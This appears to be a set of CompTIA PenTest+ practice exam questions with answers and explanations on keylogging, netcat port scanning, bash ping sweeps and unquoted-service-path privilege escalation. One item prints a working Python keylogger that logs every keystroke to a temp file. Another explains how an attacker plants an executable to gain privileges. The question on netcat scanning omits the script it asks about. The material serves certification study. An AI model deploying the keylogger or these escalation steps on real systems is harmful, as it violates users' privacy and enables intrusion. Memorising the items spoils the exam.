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CompTIA PenTest+ Exam Sample Questions (Q80-Q85):

NEW QUESTION # 80

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

```
import pyHook, sys, logging, pythoncom, datetime
log_file='C:\\Windows\\Temp\\log_comptia.txt'
def KbrdEvent(event):
    logging.basicConfig(filename=log_file, level=logging.DEBUG, format='%(messages)s' chr(event.Ascii))
    logging.log(10, chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = KbrdEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
```

Which of the following is the intended effect of this script?

- A. Keylogging
- B. Collecting logs
- C. Debugging an exploit
- D. Scheduling tasks

Answer: A

Explanation:

The provided Python script is designed to function as a keylogger, which is a type of surveillance software that has the capability to record every keystroke made on a computer. The script uses the pyHook library to hook into and monitor all keyboard events. When a key is pressed, the KbrdEvent function is triggered, which logs the ASCII value of the pressed key to a file named log_comptia.txt located in C:\\Windows\\Temp. The script is configured to continuously monitor keyboard events and log them, making its intended effect keylogging, rather than debugging an exploit, collecting logs in a general sense, or scheduling tasks.

NEW QUESTION # 81

A penetration tester writes the following script:

Which of the following is the tester performing?

- A. Trying to recover a lost bind shell
- B. Searching for service vulnerabilities
- C. Scanning a network for specific open ports
- D. Building a reverse shell listening on specified ports

Answer: C

Explanation:

-z zero-I/O mode [used for scanning]

-v verbose

example output of script:

10.0.0.1: inverse host lookup failed: Unknown host

(UNKNOWN) [10.0.0.1] 22 (ssh) open

(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out

<https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for>

NEW QUESTION # 82

A penetration tester writes the following script to enumerate a /24 network:

```
1 #!/bin/bash
```

```
2 for i in {1..254}
```

```
3 ping -c1 192.168.1.$i
```

```
4 done
```

The tester executes the script, but it fails with the following error:

-bash: syntax error near unexpected token 'ping'

Which of the following should the tester do to fix the error?

- A. Replace bash with zsh
- B. Add do after line 2
- C. Replace {1..254} with \$(seq 1 254)
- D. Replace \$i with \${i}

Answer: B

Explanation:

The missing do keyword is the reason for the syntax error. Bash for loops must include a do statement before executing commands within the loop.

Corrected script:

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```

```
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```

```
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```

```
done
```

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 4 - Scanning and Enumeration):

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A penetration tester issues the following command after obtaining a low-privilege reverse shell: `wmic service get name,pathname,startmode` Which of the following is the most likely reason the penetration tester ran this command?

- A. To find services that have unquoted service paths
- B. To search for passwords in the service directory
- C. To register a service to run as System
- D. To list scheduled tasks that may be exploitable

Answer: A

Explanation:

The command `wmic service get name,pathname,startmode` is used by penetration testers to enumerate services and their configurations, specifically looking for services with unquoted paths. If a service's path contains spaces and is not enclosed in quotes, it can be exploited by placing a malicious executable along the path, leading to privilege escalation. For example, if the service path is `C:\Program Files\My Service\service.exe` and is unquoted, an attacker could place a malicious `Program.exe` in `C:\`, which would then be executed with the same privileges as the service when the service starts. Identifying such services allows penetration testers to highlight potential security risks that could be exploited for privilege escalation.

NEW QUESTION # 85

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